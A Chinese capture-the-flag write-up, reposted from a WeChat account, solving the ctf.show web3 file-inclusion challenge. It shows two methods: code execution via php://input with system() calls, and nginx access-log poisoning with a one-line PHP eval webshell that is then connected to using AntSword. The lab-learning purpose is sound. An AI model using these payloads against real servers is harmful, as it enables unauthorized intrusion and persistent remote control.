php伪协议执行命令和写入木马

admin 2024年5月23日20:15:38评论12 views字数 1044阅读3分28秒阅读模式

CTF练习,发现一题php伪协议执行命令和写入木马。

一、题目

ctf.show_web3

php页面代码提示

<?php include($_GET['url']);?>

二、分析

打开题目只看到一行代码

看到include想到包含漏洞

include语句会获取指定文件中存在的所有文本/代码/标记,

明显是引导我们利用文件包含漏洞进行操作,

源码中的include()函数通过GET请求接收一个url参数,那接下来我们就给它传递一个url参数

直接构造?url=/etc/passwd,有回显,证明确实是文件包含。最终目的想要获取flag,找到flag的文件。

php伪协议执行命令和写入木马

这里非常体现信息收集的重要性!回显发现服务器是nginx,联想到nginx的日志路经/var/log/nginx/access.log,

既然能文件包含,那么应该可以输出nginx的日志,尝试一下真的输出了!在日志中记录了每次请求的地址、协议头,那么我们就相当于有了对服务器的写权限!不搞个一句话说不过去了<?php @eval($_POST['hi']); ?>修改请求的协议头,再次读取日志文件,发现日志中记录了一句话。常使用蚁剑进行连接,成功!

思路:

1、php伪协议执行命令

2、php文件包含写入木马

三、解析

方法一:php伪协议执行命令

使用代理软件(此处使用Burp Suite)抓包,或者用火狐hackbar模式post传数据

利用php://input伪协议执行PHP代码,代码的内容为执行系统命令,查看当前目录下所有文件

https://ad62f5b6-81d2-4918-9286-b13accc601e6.challenge.ctf.show/?url=php://input

post

post传递 <?php system("ls") ?>

页面显示

ctf_go_go_go index.php

post传递 <?php system("cat ctf_go_go_go") ?>

显示ctf

php伪协议执行命令和写入木马

方法二:php文件包含写入木马

先看一下日志。

url + ?file=/var/log/nginx/access.log

bp抓包改包

传递一句话木马

url + ?file=/var/log/nginx/access.log

修改请求的协议头

<?=eval($_POST['hi']);?>

php伪协议执行命令和写入木马

蚁剑连接日志文件。

url地址:url + ?file=/var/log/nginx/access.log

密码:hi

php伪协议执行命令和写入木马

连接成功

php伪协议执行命令和写入木马

原文始发于微信公众号(Hacking黑白红):php伪协议执行命令和写入木马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月23日20:15:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   php伪协议执行命令和写入木马https://cn-sec.com/archives/2771381.html

发表评论

匿名网友 填写信息